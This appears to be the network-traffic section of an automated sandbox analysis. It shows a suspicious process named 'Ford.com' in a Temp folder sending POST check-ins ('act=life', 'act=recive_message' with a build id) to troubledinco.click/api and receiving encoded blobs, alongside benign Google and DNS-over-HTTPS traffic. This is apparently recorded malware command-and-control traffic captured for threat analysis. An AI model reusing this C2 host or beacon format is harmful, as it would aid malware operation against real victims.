                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 69 4e 37 2d 49 6c 67 41 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 72 63 3d 27 2f 69 6d 61 67 65 73 2f 6e 61 76 5f 6c 6f 67 6f 32 32 39 2e 70 6e 67 27 3b 76 61 72 20 69 65 73 67 3d 66 61 6c 73 65 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6e 20 26 26 20 77 69 6e 64 6f 77 2e 6e 28 29 3b 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 69 6d 61 67 65 73 29 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 73 72 63 3b 7d 0a 69 66 20 28 21 69 65 73 67 29 7b 64 6f 63 75 6d 65 6e 74 2e 66 26 26 64 6f 63 75 6d 65 6e 74 2e 66 2e 71 2e 66 6f 63 75 73 28 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 62 71 66 26 26 64 6f 63 75 6d 65 6e 74 2e 67 62 71 66 2e 71 2e 66 6f 63 75 73 28 29 3b 7d
                                                                                                                                                                                                                                        Data Ascii: iN7-IlgA">(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (document.images){new Image().src=src;}if (!iesg){document.f&&document.f.q.focus();document.gbqf&&document.gbqf.q.focus();}
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 61 73 73 3d 67 62 68 20 73 74 79 6c 65 3d 72 69 67 68 74 3a 30 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 63 65 6e 74 65 72 3e 3c 62 72 20 63 6c 65 61 72 3d 22 61 6c 6c 22 20 69 64 3d 22 6c 67 70 64 22 3e 3c 64 69 76 20 69 64 3d 22 58 6a 68 48 47 66 22 3e 3c 69 6d 67 20 61 6c 74 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69 64 61 79 73 20 32 30 32 34 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 32 30 30 22 20 73 72 63 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 73 65 61 73 6f 6e 61 6c 2d 68 6f 6c 69 64 61 79 73 2d 32 30 32 34 2d 36 37 35 33 36 35 31 38 33 37 31 31 30 33 33 33 2d 6c 61 77 2e 67 69 66 22 20 74 69 74 6c 65 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69 64 61 79 73 20 32 30 32 34 22 20 77 69 64 74 68 3d 22
                                                                                                                                                                                                                                        Data Ascii: ass=gbh style=right:0></div></div><center><br clear="all" id="lgpd"><div id="XjhHGf"><img alt="Seasonal Holidays 2024" border="0" height="200" src="/logos/doodles/2024/seasonal-holidays-2024-6753651837110333-law.gif" title="Seasonal Holidays 2024" width="
                                                                                                                                                                                                                                        2024-12-10 09:17:40 UTC1390INData Raw: 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 64 6f 6f 64 6c 65 73 2f 27 3b 7d 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 69 6e 70 75 74 20 76 61 6c 75 65 3d 22 41 4c 39 68 62 64 67 41 41 41 41 41 5a 31 67 56 51 30 5f 5f 72 59 4b 5a 55 76 70 72 64 68 66 46 57 4b 41 4a 50 58 78 65 56 48 48 37 22 20 6e 61 6d 65 3d 22 69 66 6c 73 69 67 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 74 64 3e 3c 74 64 20 63 6c 61 73 73 3d 22 66 6c 20 73 62 6c 63 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 6e 6f 77 72 61 70 3d 22 22 20 77 69 64 74 68 3d 22 32 35 25 22 3e 3c 61 20 68 72 65 66 3d 22 2f 61 64 76 61 6e 63 65 64 5f 73 65 61 72 63 68 3f 68 6c 3d 65 6e 26 61 6d 70 3b 61 75 74 68 75 73 65 72 3d 30 22 3e 41 64 76 61 6e 63 65
                                                                                                                                                                                                                                        Data Ascii: .location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ1gVQ0__rYKZUvprdhfFWKAJPXxeVHH7" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&amp;authuser=0">Advance


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        1192.168.2.449745162.159.61.34433400C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:17:51 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                        Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                        Content-Length: 128
                                                                                                                                                                                                                                        Accept: application/dns-message
                                                                                                                                                                                                                                        Accept-Language: *
                                                                                                                                                                                                                                        User-Agent: Chrome
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Type: application/dns-message
                                                                                                                                                                                                                                        2024-12-10 09:17:51 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                        Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                                                                                        2024-12-10 09:17:51 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:17:51 GMT
                                                                                                                                                                                                                                        Content-Type: application/dns-message
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Content-Length: 468
                                                                                                                                                                                                                                        CF-RAY: 8efc24ee7e801835-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        2024-12-10 09:17:51 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 15 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                        Data Ascii: wwwgstaticcom(c)


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        2192.168.2.449973172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:19:54 UTC265OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 8
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:19:54 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                        Data Ascii: act=life
                                                                                                                                                                                                                                        2024-12-10 09:19:55 UTC1019INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:19:55 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=31aisjo45vqdfnm0k5al3qfqn1; expires=Sat, 05-Apr-2025 03:06:34 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=94isXT5lve37BdB0HDwpPxNm%2Bcl9GbM4FZ2bPmo7npdHpWSaNN%2Fib%2FKJoGkvL1hFdox39ccZWetDtnUF8BcR33SpS5pEYDqdEUEQAd%2FICuPDIdCZNA3QJ0wISRXWdIai%2F32tQA4%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc27f0ac4a43bf-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1658&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1729857&cwnd=252&unsent_bytes=0&cid=df5270fbc5b43339&ts=782&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:19:55 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 2ok
                                                                                                                                                                                                                                        2024-12-10 09:19:55 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        3192.168.2.449979172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:19:56 UTC266OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 47
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:19:56 UTC47OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 26 6a 3d
                                                                                                                                                                                                                                        Data Ascii: act=recive_message&ver=4.0&lid=9rFhhG--ddn44&j=
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1021INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:19:57 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=fmbh5m028t1mhkdgng3la4snu6; expires=Sat, 05-Apr-2025 03:06:36 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HAUZAkS%2FM9Uhb68LapQcbJ47PiAF1Rjn%2F8mb8K21%2BvYZQx7kDNwNxM8m%2FJSULwx9EWCL7WF8sWdX%2BaWkexjs4W4%2BCZzxpGpePCvXsNQmSHuSrQNDFpzRWlWusm1RFTLw0SUFzw%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc27fd58ab236b-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2033&min_rtt=2029&rtt_var=769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=949&delivery_rate=1415414&cwnd=172&unsent_bytes=0&cid=39196244577da8dd&ts=737&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC348INData Raw: 34 39 31 63 0d 0a 72 7a 74 37 65 46 50 69 48 2f 32 52 48 4b 56 6e 6d 38 77 4a 50 52 70 37 77 77 64 42 6a 47 4b 56 59 35 70 61 37 62 5a 6a 51 6c 62 55 47 51 31 61 61 64 59 7a 33 2b 4a 35 68 31 33 76 76 6e 78 59 4e 6c 6d 69 59 32 4f 32 42 50 51 50 36 54 2f 42 6c 42 55 76 64 4a 56 64 47 68 51 67 68 7a 50 66 39 47 53 48 58 63 43 33 4b 31 68 30 57 66 6b 6c 4a 4f 59 41 39 41 2f 34 4f 34 62 5a 45 79 34 31 78 31 63 63 45 44 61 42 65 35 7a 39 63 63 41 43 2f 71 31 6a 55 33 4d 57 71 32 70 6a 6f 45 44 77 47 62 68 67 7a 2f 73 47 4e 6a 66 69 57 67 67 54 63 5a 38 7a 68 72 4e 35 79 30 57 68 37 6d 68 59 65 42 65 6c 59 79 72 6b 43 76 30 48 2b 54 36 48 78 67 6f 6b 50 73 64 5a 48 78 45 38 69 47 2b 52 39 33 62 4c 42 50 53 74 4b 78 45 34 48 72 6b 6c 65 36 35 54 78 51 4c 70 4b
                                                                                                                                                                                                                                        Data Ascii: 491crzt7eFPiH/2RHKVnm8wJPRp7wwdBjGKVY5pa7bZjQlbUGQ1aadYz3+J5h13vvnxYNlmiY2O2BPQP6T/BlBUvdJVdGhQghzPf9GSHXcC3K1h0WfklJOYA9A/4O4bZEy41x1ccEDaBe5z9ccAC/q1jU3MWq2pjoEDwGbhgz/sGNjfiWggTcZ8zhrN5y0Wh7mhYeBelYyrkCv0H+T6HxgokPsdZHxE8iG+R93bLBPStKxE4Hrkle65TxQLpK
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 55 5a 48 78 51 77 6a 58 32 4e 2b 33 58 4d 41 4f 75 6c 59 6c 4a 31 47 61 78 76 4c 4f 30 41 38 41 76 79 4e 34 58 51 44 43 30 79 7a 56 6c 5a 56 48 47 48 5a 64 2b 72 50 75 51 41 36 61 6c 6e 53 54 6f 6a 34 58 70 74 39 30 44 77 44 62 68 67 7a 39 77 45 49 7a 66 47 56 68 6f 53 4f 70 4a 39 6a 66 56 7a 77 68 66 2f 71 32 56 56 65 77 75 72 61 79 58 74 43 66 77 49 2f 54 2b 4c 6c 45 39 67 4d 39 55 5a 51 56 6f 51 6a 58 61 54 2b 57 6e 48 52 65 62 67 63 68 39 2f 46 65 45 39 59 2b 6f 42 38 77 44 38 4e 6f 48 51 44 53 59 36 77 46 59 66 45 44 47 48 64 35 66 37 66 38 6f 4f 39 71 35 75 55 6e 77 66 72 57 51 6d 72 6b 36 33 42 75 42 34 31 35 51 76 4a 7a 66 66 47 79 77 5a 50 34 35 36 69 62 4e 68 69 52 79 35 71 57 63 66 49 46 6d 76 59 43 7a 38 41 65 55 45 39 69 71 44 30 51 63 74 4e
                                                                                                                                                                                                                                        Data Ascii: UZHxQwjX2N+3XMAOulYlJ1GaxvLO0A8AvyN4XQDC0yzVlZVHGHZd+rPuQA6alnSToj4Xpt90DwDbhgz9wEIzfGVhoSOpJ9jfVzwhf/q2VVewurayXtCfwI/T+LlE9gM9UZQVoQjXaT+WnHRebgch9/FeE9Y+oB8wD8NoHQDSY6wFYfEDGHd5f7f8oO9q5uUnwfrWQmrk63BuB415QvJzffGywZP456ibNhiRy5qWcfIFmvYCz8AeUE9iqD0QctN
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 5a 50 34 35 36 69 62 4e 68 69 52 79 35 71 57 63 66 49 46 6d 73 62 53 62 72 44 2f 59 4c 39 6a 32 46 32 41 6b 75 4e 39 39 57 48 52 6f 39 69 48 65 53 2f 58 72 50 44 50 4b 6c 62 56 39 35 45 2b 45 72 59 2b 6b 59 74 31 6d 34 44 49 6a 59 44 43 39 32 2b 46 6f 58 46 44 61 57 50 59 43 39 5a 34 63 43 39 65 34 7a 48 33 51 51 6f 57 34 70 36 67 44 77 44 50 30 37 69 4e 63 4d 4a 7a 37 44 58 68 30 57 4f 49 31 37 6e 2f 52 36 77 68 66 38 70 32 64 54 4f 46 66 68 59 6a 75 75 57 4c 63 75 2f 79 36 4d 2b 77 49 78 50 59 31 47 56 77 4e 78 68 33 48 66 71 7a 37 41 41 50 47 6c 62 56 64 34 43 36 52 72 4b 4f 38 4b 38 51 44 31 4e 49 6e 55 41 43 41 79 77 56 6b 65 48 53 4f 53 65 4a 6e 68 64 49 64 4c 75 61 6c 7a 48 79 42 5a 6c 33 55 30 2f 78 61 31 4e 50 73 32 67 64 4d 58 59 43 75 44 51 46
                                                                                                                                                                                                                                        Data Ascii: ZP456ibNhiRy5qWcfIFmsbSbrD/YL9j2F2AkuN99WHRo9iHeS/XrPDPKlbV95E+ErY+kYt1m4DIjYDC92+FoXFDaWPYC9Z4cC9e4zH3QQoW4p6gDwDP07iNcMJz7DXh0WOI17n/R6whf8p2dTOFfhYjuuWLcu/y6M+wIxPY1GVwNxh3Hfqz7AAPGlbVd4C6RrKO8K8QD1NInUACAywVkeHSOSeJnhdIdLualzHyBZl3U0/xa1NPs2gdMXYCuDQF
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 64 34 33 37 63 4d 6f 4f 39 71 56 35 58 33 55 64 72 57 45 72 35 51 71 33 54 37 67 2f 6c 35 52 5a 59 41 48 41 56 68 6b 5a 4a 38 42 69 30 65 6f 2b 77 41 6d 35 39 69 74 54 64 68 6d 75 61 53 2f 6c 43 50 59 4e 39 6a 2b 4b 33 51 6b 6f 4a 73 78 64 45 52 73 2f 6a 33 79 62 39 6e 76 44 41 76 32 6f 5a 42 38 32 57 61 5a 39 59 37 5a 41 32 43 62 4e 65 71 37 75 51 54 39 36 31 42 6b 65 46 6e 48 59 50 5a 50 77 63 73 38 4b 2f 36 64 6e 56 58 45 53 72 57 34 6e 34 67 6e 79 42 2f 6b 39 69 74 55 46 4c 44 37 4c 57 68 6f 56 50 6f 39 31 33 37 30 2b 77 42 32 35 39 69 74 36 62 78 4b 76 59 32 50 78 54 75 35 42 2f 7a 54 50 6a 45 45 73 50 63 74 66 48 42 59 77 68 6e 57 61 2b 33 72 47 41 2f 2b 74 5a 46 74 39 47 4b 35 68 4c 2b 41 4b 39 67 44 30 4d 34 44 66 42 47 42 36 6a 56 34 42 57 6d 6e
                                                                                                                                                                                                                                        Data Ascii: d437cMoO9qV5X3UdrWEr5Qq3T7g/l5RZYAHAVhkZJ8Bi0eo+wAm59itTdhmuaS/lCPYN9j+K3QkoJsxdERs/j3yb9nvDAv2oZB82WaZ9Y7ZA2CbNeq7uQT961BkeFnHYPZPwcs8K/6dnVXESrW4n4gnyB/k9itUFLD7LWhoVPo91370+wB259it6bxKvY2PxTu5B/zTPjEEsPctfHBYwhnWa+3rGA/+tZFt9GK5hL+AK9gD0M4DfBGB6jV4BWmn
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 33 6e 43 44 76 61 69 4b 78 45 34 48 72 6b 6c 65 36 34 75 2f 42 4c 76 4f 34 48 66 46 7a 74 30 30 68 63 41 57 6a 61 4d 50 63 65 7a 66 63 77 4f 2f 61 35 6e 58 33 77 55 6f 58 63 73 36 51 66 2b 43 75 6f 79 69 4e 4d 4b 4b 44 2f 43 58 77 73 57 50 35 4a 34 6a 65 45 2b 69 55 58 2b 74 69 73 48 4f 43 2b 6d 64 54 50 74 51 73 59 58 2b 79 36 45 32 51 31 67 4b 34 4e 41 57 52 30 39 77 43 58 66 39 58 48 4f 42 76 61 76 59 6c 4e 31 48 4b 68 67 49 75 67 45 2f 51 76 34 50 6f 6e 56 42 43 6f 33 7a 46 4d 51 48 54 6d 48 66 6f 32 7a 4d 49 63 43 34 65 34 7a 48 31 45 65 73 32 73 7a 72 68 2b 35 47 4c 67 2f 67 35 52 5a 59 44 44 48 56 68 30 64 50 59 5a 34 6d 66 35 2f 79 41 54 35 6f 57 39 55 63 52 2b 67 61 43 62 6a 42 4f 55 4c 38 7a 65 44 33 51 30 74 64 49 4d 5a 48 67 4a 78 32 44 32 75
                                                                                                                                                                                                                                        Data Ascii: 3nCDvaiKxE4Hrkle64u/BLvO4HfFzt00hcAWjaMPcezfcwO/a5nX3wUoXcs6Qf+CuoyiNMKKD/CXwsWP5J4jeE+iUX+tisHOC+mdTPtQsYX+y6E2Q1gK4NAWR09wCXf9XHOBvavYlN1HKhgIugE/Qv4PonVBCo3zFMQHTmHfo2zMIcC4e4zH1Ees2szrh+5GLg/g5RZYDDHVh0dPYZ4mf5/yAT5oW9UcR+gaCbjBOUL8zeD3Q0tdIMZHgJx2D2u
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 6a 7a 76 47 46 55 66 52 53 73 61 43 44 6f 42 76 77 4e 36 6a 47 50 31 77 70 67 65 6f 31 65 41 56 70 70 77 46 36 49 35 58 54 41 43 65 2b 6c 61 6c 78 75 46 4c 45 6c 62 61 34 52 38 42 43 34 59 4a 6e 45 46 69 63 72 67 30 42 5a 48 54 33 41 4a 64 2f 31 64 38 45 43 2f 36 42 35 57 6e 34 57 72 6d 77 71 36 67 6a 30 41 66 77 38 69 4e 45 43 4c 44 2f 4b 57 68 59 65 4f 49 35 30 6b 4c 4d 77 68 77 4c 68 37 6a 4d 66 57 51 4b 69 61 53 36 75 48 37 6b 59 75 44 2b 44 6c 46 6c 67 4f 4d 4e 63 47 52 41 33 68 48 69 5a 2b 58 76 48 44 76 71 68 62 31 6c 38 46 71 46 75 4b 75 38 47 38 67 76 7a 50 6f 4c 58 42 79 5a 30 67 78 6b 65 41 6e 48 59 50 62 2f 6f 63 38 73 43 75 62 45 6c 52 6a 67 65 72 53 56 37 72 67 76 37 42 66 38 34 67 74 63 4a 4a 54 44 48 58 42 6b 53 49 34 68 39 6d 4f 46 73 78
                                                                                                                                                                                                                                        Data Ascii: jzvGFUfRSsaCDoBvwN6jGP1wpgeo1eAVppwF6I5XTACe+lalxuFLElba4R8BC4YJnEFicrg0BZHT3AJd/1d8EC/6B5Wn4Wrmwq6gj0Afw8iNECLD/KWhYeOI50kLMwhwLh7jMfWQKiaS6uH7kYuD+DlFlgOMNcGRA3hHiZ+XvHDvqhb1l8FqFuKu8G8gvzPoLXByZ0gxkeAnHYPb/oc8sCubElRjgerSV7rgv7Bf84gtcJJTDHXBkSI4h9mOFsx
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 7a 48 30 5a 5a 73 32 59 7a 37 51 2f 6d 50 37 68 67 6c 75 70 42 4b 79 4c 4b 53 52 6f 4d 4f 6f 31 78 6a 73 30 2b 6e 31 47 72 2f 44 6b 4e 4b 67 62 68 65 68 79 67 51 50 5a 42 6f 41 47 57 6c 42 64 67 62 4a 38 58 57 51 68 78 32 44 33 59 38 47 7a 56 41 2f 71 34 61 42 68 47 4a 34 5a 7a 4b 65 6b 51 38 42 62 33 65 4d 47 55 44 6d 42 73 39 42 6b 51 48 53 71 52 61 35 4c 6a 65 59 63 36 74 2b 35 7a 48 79 42 5a 6c 47 59 74 34 41 66 68 45 4c 55 66 6d 64 34 47 4d 44 50 61 56 6c 6c 55 63 59 59 39 78 36 41 77 68 77 48 6f 37 6a 4d 50 4b 6b 4c 30 4e 6e 53 2b 55 75 68 50 34 58 69 5a 6c 46 6c 79 65 6f 31 4c 57 55 4a 78 78 33 36 4e 34 58 6a 45 45 2f 72 70 56 57 46 66 41 36 78 6a 4e 50 38 2b 79 51 62 69 4e 59 6e 44 45 47 77 68 7a 6c 63 58 48 53 66 41 4d 39 2f 38 50 70 38 38 75 65
                                                                                                                                                                                                                                        Data Ascii: zH0ZZs2Yz7Q/mP7hglupBKyLKSRoMOo1xjs0+n1Gr/DkNKgbhehygQPZBoAGWlBdgbJ8XWQhx2D3Y8GzVA/q4aBhGJ4ZzKekQ8Bb3eMGUDmBs9BkQHSqRa5LjeYc6t+5zHyBZlGYt4AfhELUfmd4GMDPaVllUcYY9x6AwhwHo7jMPKkL0NnS+UuhP4XiZlFlyeo1LWUJxx36N4XjEE/rpVWFfA6xjNP8+yQbiNYnDEGwhzlcXHSfAM9/8Pp88ue
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 51 66 45 33 65 4c 74 54 6f 46 47 71 4a 38 48 4e 51 54 5a 30 6c 51 74 58 57 69 50 41 4a 64 2b 30 66 64 55 58 2f 36 31 39 58 44 38 6e 6e 30 49 74 36 51 48 68 45 65 38 33 73 65 6f 55 49 7a 72 44 58 67 38 4c 63 63 34 39 6b 4c 4d 6d 2f 6b 57 78 37 6c 51 52 4f 41 48 68 50 57 50 62 41 2f 6b 50 2f 79 36 65 6d 53 59 75 4d 38 78 50 43 51 30 2b 77 44 50 66 39 54 36 66 56 37 66 75 62 30 34 34 51 66 45 33 65 4c 74 54 6f 46 47 71 4a 38 48 4e 51 54 5a 30 6c 51 74 58 57 69 50 41 4a 64 2b 30 66 64 55 58 2f 36 31 39 58 44 38 6e 6e 30 49 74 36 51 48 68 45 65 38 33 77 50 6f 33 41 51 72 7a 54 42 6f 55 50 34 64 72 6a 72 4d 77 68 77 71 35 39 6c 49 66 4d 46 6d 65 4b 32 50 32 51 4b 39 42 7a 54 75 42 32 67 59 32 4a 59 42 2b 46 78 30 77 6c 6d 32 49 2f 44 48 70 4d 39 6a 75 4a 52 39
                                                                                                                                                                                                                                        Data Ascii: QfE3eLtToFGqJ8HNQTZ0lQtXWiPAJd+0fdUX/619XD8nn0It6QHhEe83seoUIzrDXg8Lcc49kLMm/kWx7lQROAHhPWPbA/kP/y6emSYuM8xPCQ0+wDPf9T6fV7fub044QfE3eLtToFGqJ8HNQTZ0lQtXWiPAJd+0fdUX/619XD8nn0It6QHhEe83wPo3AQrzTBoUP4drjrMwhwq59lIfMFmeK2P2QK9BzTuB2gY2JYB+Fx0wlm2I/DHpM9juJR9
                                                                                                                                                                                                                                        2024-12-10 09:19:57 UTC1369INData Raw: 53 54 51 50 74 6f 54 2f 79 69 4d 6c 6a 41 32 4e 38 31 58 48 6c 70 2f 77 47 58 66 71 7a 37 71 46 2f 36 2b 61 42 38 32 57 61 30 6c 65 36 34 4e 35 51 62 6f 4f 38 50 54 47 79 64 30 30 68 63 41 57 69 66 41 4a 63 79 39 50 74 56 46 6f 65 34 73 55 58 55 59 6f 6d 73 67 2f 42 4c 78 41 75 34 37 79 4f 6f 2f 44 53 62 4b 53 52 70 59 41 49 31 35 69 65 5a 39 31 77 4c 48 6b 45 5a 4e 66 77 6d 69 4a 77 2f 70 44 66 73 2f 78 67 2b 65 30 78 46 69 45 73 35 50 47 6c 70 2f 77 47 58 66 71 7a 37 71 46 2f 36 2b 61 42 31 55 48 71 78 70 59 2f 46 4f 37 6b 48 75 65 4e 65 48 54 32 41 6d 6a 51 46 5a 58 54 4b 53 62 35 6e 77 61 4d 52 43 78 35 42 47 54 58 38 4a 6f 69 63 53 34 77 54 68 46 50 73 6f 69 4f 6f 2f 44 53 62 4b 53 52 70 59 46 4c 6f 2f 72 75 56 39 78 77 76 2b 37 69 55 66 59 46 6e 35
                                                                                                                                                                                                                                        Data Ascii: STQPtoT/yiMljA2N81XHlp/wGXfqz7qF/6+aB82Wa0le64N5QboO8PTGyd00hcAWifAJcy9PtVFoe4sUXUYomsg/BLxAu47yOo/DSbKSRpYAI15ieZ91wLHkEZNfwmiJw/pDfs/xg+e0xFiEs5PGlp/wGXfqz7qF/6+aB1UHqxpY/FO7kHueNeHT2AmjQFZXTKSb5nwaMRCx5BGTX8JoicS4wThFPsoiOo/DSbKSRpYFLo/ruV9xwv+7iUfYFn5


